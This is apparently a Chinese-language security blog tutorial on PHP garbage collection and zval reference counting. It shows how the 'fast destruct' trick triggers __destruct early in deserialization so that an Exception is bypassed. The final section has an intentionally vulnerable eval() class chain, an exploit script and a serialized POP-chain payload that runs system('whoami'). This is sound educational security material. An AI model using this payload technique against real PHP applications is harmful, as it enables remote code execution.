目录

  1. 1. 前言
  2. 2. 介绍
  3. 3. 引用计数
  4. 4. 反序列化中的运用
    1. 4.1. 绕过Exception异常

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

PHP GC回收

2023/11/17 Web 反序列化 PHP
  |     |   总文章阅读量:

前言

参考文章:

https://boogipop.com/2023/03/02/PHP%20GC%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6%E5%8F%8A%E5%88%A9%E7%94%A8/

https://xz.aliyun.com/t/11843

测试版本:PHP 7.4.3

介绍

官方文档:https://www.php.net/manual/zh/features.gc.php

GC的全称是Garbage Collection,即垃圾回收机制

在PHP中,是使用引用计数回收周期来自动管理内存对象的,当一个对象被设置为NULL,或者没有任何指针指向时,他就会变成垃圾,被GC机制回收掉。这可以理解为一个对象没有被引用时就会被GC机制回收

PHP 变量存储在称为“zval”的容器中,我们这里引入一个函数xdebug_debug_zval,这个函数可以用来查看变量容器的内容

<?php
$a="0w0";
xdebug_debug_zval("a");

image-20231124112711282

在这个zval变量容器中,不仅包含变量的类型和值,还包含两个字节的额外信息

is_ref:是bool值,它用来标识这个变量是否是属于引用集合,即是否被引用。PHP引擎通过这个字节来区分普通变量和引用变量,由于PHP允许用户使用&来使用自定义引用,zval变量容器中还有一个内部引用计数机制,来优化内存使用。

refcount:它用来表示指向zval变量容器的变量个数。所有的符号存储在一个符号表中,其中每个符号都有作用域。

对于上面的这个例子,

我们可以看到这里定义了一个变量$a,生成了类型为String和值为0w0的变量容器,

而对于两个额外的字节,is_refrefcount,我们可以看到是不存在引用的,所以is_ref的值应该是false,而refcount是表示变量个数的,那么这里就应该是1,这里显示成了interned

在PHP GC机制当中,当程序结束时就会往变量的refcount减一,如果refcount-1=0的话,那么就会将这个变量销毁

引用计数

接下来我们添加一个引用

<?php
$a="0w0";
xdebug_debug_zval("a");
$b=&$a;
xdebug_debug_zval("a");

image-20231124124032265

可以看到这里is_ref的值变为了1,refcount的值变为了2,符合上面的所说的规则

同一变量容器被变量a和变量b关联,即这一个zval容器存储了ab两个变量,就使得refcount的值为2

接下来我们尝试一下在数组内引用

<?php
$a="0w0";
$arr=array(0=>"test",1=>&$a);
xdebug_debug_zval("a");
xdebug_debug_zval("arr");

image-20231124125416550

发现在数组中也同样生效

现在我们来测试一下销毁的机制:

当函数执行结束或者对变量调用了unset()函数,refcount就会减1

<?php
$a="0w0";
$arr=array(0=>"test",1=>&$a);
unset($a);
xdebug_debug_zval("a");
xdebug_debug_zval("arr");

image-20231124124828985

这种情况refcount=1,就是说变量会被销毁

接下来我们调整一下顺序

<?php
$a="0w0";
unset($a);
$arr=array(0=>"test",1=>&$a);
xdebug_debug_zval("a");
xdebug_debug_zval("arr");

image-20231124125209674

这种情况虽然结果为空,但是refcount不为1,程序结束时也不会被销毁


反序列化中的运用

GC如果在PHP反序列化中生效,那它就会直接触发__destruct方法

先引入一个正常的demo:

<?php
class gc{
    public $num;
    public function __construct($num)
    {
        $this->num=$num;
        echo "construct(".$num.")"."\n";
    }
    public function __destruct()
    {
        echo "destruct(".$this->num.")"."\n";
    }
}
$a=new gc(1);
$b=new gc(2);
$c=new gc(3);

image-20231124194417247

函数的创建顺序和销毁顺序都符合我们的预期,用zval函数看看情况

image-20231124194540862

可以看到refcount为1,所以在程序结束时候销毁了,然后才触发的__destruct

但是如果我们不给a赋值,直接new一个gc类呢?

<?php
class gc{
    public $num;
    public function __construct($num)
    {
        $this->num=$num;
        echo "construct(".$num.")"."\n";
    }
    public function __destruct()
    {
        echo "destruct(".$this->num.")"."\n";
    }
}
new gc(1);
xdebug_debug_zval("a");
$b=new gc(2);
$c=new gc(3);

image-20231124194732051

可以看到析构方法__destruct被提前触发了,因为这个对象没进行赋值,所以根本不存在引用,因此原地销毁

同样的,我们也可以用unset($a)来提前触发__destruct

<?php
class gc{
    public $num;
    public function __construct($num)
    {
        $this->num=$num;
        echo "construct(".$num.")"."\n";
    }
    public function __destruct()
    {
        echo "destruct(".$this->num.")"."\n";
    }
}
$a=new gc(1);
unset($a);
xdebug_debug_zval("a");
$b=new gc(2);
$c=new gc(3);

结果和上面是一样的

绕过Exception异常

这个方法又称fast destruct,可以直接看我的这篇博客:https://c1oudfl0w0.github.io/blog/2023/06/09/fast-destruct%E6%8E%A2%E7%B4%A2/

我们这里来测试一下zval容器,同时做一点补充

<?php
class gc{
    public $num;
    public function __construct($num)
    {
        $this->num=$num;
        echo "construct(".$num.")"."\n";
    }
    public function __destruct()
    {
        echo "destruct(".$this->num.")"."\n";
    }
}
$arr=array(0=>new gc(1),1=>NULL);
//$arr[0]=$arr[1];
xdebug_debug_zval('arr');
$b=new gc(2);
$c=new gc(3);

image-20231124200116841

此时输出结果一切正常,键0的refcount还等于1,接下来我们把注释去掉,将0指向NULL,看看会发生什么?

image-20231124200222243

和预想中的一样,键0指向了NULL,那么refcount在此时就等于0,即没有指向zval的变量了,此时等价于new gc(1),于是会原地销毁这个变量,destruct提前触发

Exception会提前终止导致无法触发__destruct,那么利用上面的方法就可以绕过Exception

demo:

<?php
highlight_file(__FILE__);
error_reporting(0);
class gc0{
    public $num;
    public function __destruct(){
        echo $this->num."hello __destruct";
    }
}
class gc1{
    public $string;
    public function __toString() {
        echo "hello __toString";
        $this->string->flag();
        return 'useless';
    }
}
class gc2{
    public $cmd;
    public function flag(){
        echo "hello __flag()";
        eval($this->cmd);
    }
}
$a=unserialize($_GET['code']);
throw new Exception("Garbage collection");
?>

exp:

<?php
class gc0{
    public $num;
}
class gc1{
    public $string;
}
class gc2{
    public $cmd='system("whoami");';
}
$a=new gc0;
$b=new gc1;
$c=new gc2;
$a->num=$b;
$b->string=$c;
$arr=array(0=>$a,1=>NULL);
echo serialize($arr);

得到结果a:2:{i:0;O:3:"gc0":1:{s:3:"num";O:3:"gc1":1:{s:6:"string";O:3:"gc2":1:{s:3:"cmd";s:17:"system("whoami");";}}}i:1;N;}

这时候我们把键名1改为0,也就是修改结果为a:2:{i:0;O:3:"gc0":1:{s:3:"num";O:3:"gc1":1:{s:6:"string";O:3:"gc2":1:{s:3:"cmd";s:17:"system("whoami");";}}}i:0;N;}

这就等效于将0指向了NULL,从而提前销毁来触发__destruct

image-20231124201315640